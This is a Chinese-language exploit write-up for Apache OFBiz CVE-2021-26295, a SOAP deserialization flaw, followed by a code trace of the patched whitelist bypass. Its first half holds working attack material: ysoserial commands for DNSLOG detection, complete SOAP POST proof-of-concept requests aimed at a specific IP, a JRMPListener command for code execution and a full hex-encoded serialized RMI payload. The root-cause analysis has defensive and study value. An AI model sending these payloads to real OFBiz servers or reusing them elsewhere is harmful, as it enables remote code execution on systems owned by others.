Apache Ofbiz CVE-2021-26295分析
漏洞影响版本:apache:ofbiz<17.12.06
补丁代码:https://github.com/apache/ofbiz-framework/commit/af9ed4e/
漏洞触发路径:https://ip:8443/webtools/control/SOAPService
漏洞复现
环境搭建:
docker pull andyjunghans/ofbiz
docker run -p 8080:8080 -p 8443:8443 andyjunghans/ofbiz
漏洞检测
利用DNSLOG链,以下是命令,用于生成16进制表示的字节码。
java -jar ysoserial-0.0.8-SNAPSHOT-all.jar URLDNS http://dnslog.com | xxd -p -c 10000000
或者
java -jar ysoserial.jar URLDNS http://kzjtft.dnslog.cn >1.bin
用以下脚本进行二进制转16进制
import binascii
# 提示用户输入文件名
filename = input("请输入文件名: ")
try:
with open(filename, 'rb') as f:
content = f.read()
hex_content = binascii.hexlify(content)
print(hex_content.decode()) # 将字节数据解码为字符串并打印出来
except FileNotFoundError:
print(f"文件 '{filename}' 不存在。请确保文件名正确并存在。")
except Exception as e:
print(f"发生错误: {e}")
写入请求中
POC1:
POST /webtools/control/SOAPService HTTP/1.1
Host: 159.75.51.64
Content-Type: test/xml
Content-Length: 875
<?xml version='1.0' encoding='UTF-8'?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/><soapenv:Body>
<ying:clearAllEntityCaches xmlns:ying="http://ofbiz.apache.org/service/">
<ying:cus-obj>内容</ying:cus-obj>
</ying:clearAllEntityCaches>
</soapenv:Body>
</soapenv:Envelope>
POC2:
POST /webtools/control/SOAPService HTTP/1.1
Host: 159.75.51.64
Content-Type: test/xml
Content-Length: 1023
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<ser>
<map-HashMap>
<map-Entry>
<map-Key>
<cus-obj>内容</cus-obj>
</map-Key>
<map-Value>
<std-String value="http://kif4v7.dnslog.cn"/>
</map-Value>
</map-Entry>
</map-HashMap>
</ser>
</soapenv:Body>
</soapenv:Envelope>
注意
测试中发现,同一个dnslog地址执行的第一次有响应,第二次就没了,猜测是dns服务器有缓存的缘故,所以尽量每次用不同的dnslog地址
漏洞利用
必须使用低版本java生成payload,防止产生兼容性问题,比如jdk8_05
利用RMI反序列化进行攻击
VPS启动RMI服务端,进行攻击客户端
java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 "calc.exe"
生成RMI客户端的序列化字符串,放入poc的xml中
java -jar ysoserial-0.0.8-SNAPSHOT-all.jar JRMPClient "127.0.0.1:1099" | xxd -p -c 10000000
构造payload字符串发送到目标服务器
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<ser> <cus-obj>aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e310000044b000000000b3e7d8b00000000000000000000000000000078</cus-obj>
</ser>
</soapenv:Body>
</soapenv:Envelope>
SOAPEventHandler类
SOAPEventHandler是一个处理SOAP消息的事件处理器,在此漏洞中起关键作用,通过以下步骤进行调试查找
查看更新的代码
https://github.com/apache/ofbiz-framework/compare/release17.12.05...release17.12.06#files_bucket
其中在 framework/base/src/main/java/org/apache/ofbiz/base/util/SafeObjectInputStream.java处添加了过滤java.rmi.server类的逻辑
查找SafeObjectInputStream类的调用位置
在org/apache/ofbiz/base/util/UtilObject.java:112的getObjectException方法内
跟踪getObjectException方法的调用位置org/apache/ofbiz/base/util/UtilObject.java:95
继续反向跟踪调用点
org/apache/ofbiz/entity/serialize/XmlSerializer.java:475
最后到org.apache.ofbiz.service.engine.SoapSerializer处
SoapSerializer看名字是一个处理soap序列化相关的类,在org/apache/ofbiz/webapp/event/SOAPEventHandler.java中被调用,SOAPEventHandler是一个处理SOAP消息的事件处理器
在org/apache/ofbiz/webapp/event/SOAPEventHandler.java:177处进行了反序列化操作SoapSerializer.deserialize
其中看到serviceElement从reqBody获得,貌似是从请求的body中拿到的,向上跟踪下reqBody即可看到确实是这样
request.getInputStream() 返回一个 ServletInputStream 对象,您可以使用它来读取HTTP请求的主体数据。您可以从输入流中读取字节,以获取请求正文的内容。通常,这对于处理表单提交、文件上传以及其他包含大量数据的HTTP POST请求非常有用。
以下为大致请求逻辑
发送带有soap消息格式的request -> SOAPEventHandler:invoke() -> SoapSerializer:deserialize() -> XmlSerializer:多层调用-> deserializeCustom() -> UtilObject.getObject()-> getObjectException() -> SafeObjectInputStream:return wois.readObject(); -> 反序列化完成
白名单绕过导致RMI反序列化
在org/apache/ofbiz/base/util/SafeObjectInputStream.java的白名单中,whitelistPattern匹配了class是否在这个白名单内,而这个白名单则是出现绕过的地方
向上调试可发现,白名单如下,忽略了java..*中的java.rmi包,而这个包中可以利用RMI反序列化漏洞